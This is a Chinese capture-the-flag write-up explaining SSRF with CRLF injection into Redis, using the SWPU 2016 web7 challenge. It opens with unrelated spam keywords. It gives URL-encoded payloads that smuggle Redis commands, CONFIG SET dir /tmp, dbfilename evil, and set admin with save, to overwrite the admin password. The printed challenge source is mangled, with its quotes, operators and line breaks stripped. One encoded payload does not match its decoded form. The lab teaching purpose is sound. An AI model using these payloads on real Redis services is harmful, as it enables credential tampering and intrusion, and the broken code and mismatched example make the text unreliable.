安能物流网站,wordpress打折插件,网络组建与应用实训报告,广告发布是什么意思文章目录 注入原理例题 [SWPU 2016]web7 注入原理
参考文章
应用场景是具有SSRF漏洞#xff0c;结合CRLF注入 我们以redis数据库为例#xff0c;当存在SSRF时我们伪造以下请求
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%… 文章目录 注入原理例题 [SWPU 2016]web7 注入原理
参考文章
应用场景是具有SSRF漏洞结合CRLF注入 我们以redis数据库为例当存在SSRF时我们伪造以下请求
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo解码一下执行过程就是将修改Redis的工作目录为 /tmp然后修改Redis的数据库文件名为 evil路径为默认端口的/foo
http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo然后就可以执行相关操作比如修改用户的密码 再次利用ssrf漏洞进行修改并保存
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo解码结果如下
http://127.0.0.1
set admin 123456
save
:6379/foo例题 [SWPU 2016]web7
源码
#!/usr/bin/python
# coding:utf8__author__ niexinmingimport cherrypy
import urllib2
import redisclass web7:cherrypy.exposedef index(self):return script window.location.href/input;/scriptcherrypy.exposedef input(self,url,submit):fileopen(index.html,r).read()reheadersif cherrypy.request.methodGET:reheaderselse:urlcherrypy.request.params[url]submitcherrypy.request.params[submit]try:for x in urllib2.urlopen(url).info().headers:reheadersreheadersxbrexcept Exception,e:reheaders错误str(e)for x in urllib2.urlopen(url).info().headers:reheadersreheadersxbrfilefile.replace(?response?,reheaders)return filecherrypy.exposedef login(self,password,submit):pool redis.ConnectionPool(host127.0.0.1, port6379)r redis.Redis(connection_poolpool)refileopen(login.html,r).read()if cherrypy.request.methodGET:reelse:passwordcherrypy.request.params[password]submitcherrypy.request.params[submit]if r.get(admin)password:reopen(flag,r).readline()else:reCant find admin:password,fast fast fast.....filefile.replace(?response?,re)return file
cherrypy.config.update({server.socket_host: 0.0.0.0,server.socket_port: 8080,})
cherrypy.quickstart(web7(),/)可以看到引入urllib2模块题目逻辑比较清晰就是要登录admin才能获取flagadmin的密码就在redis数据库中然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。
我们直接修改密码redis默认端口为6379
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379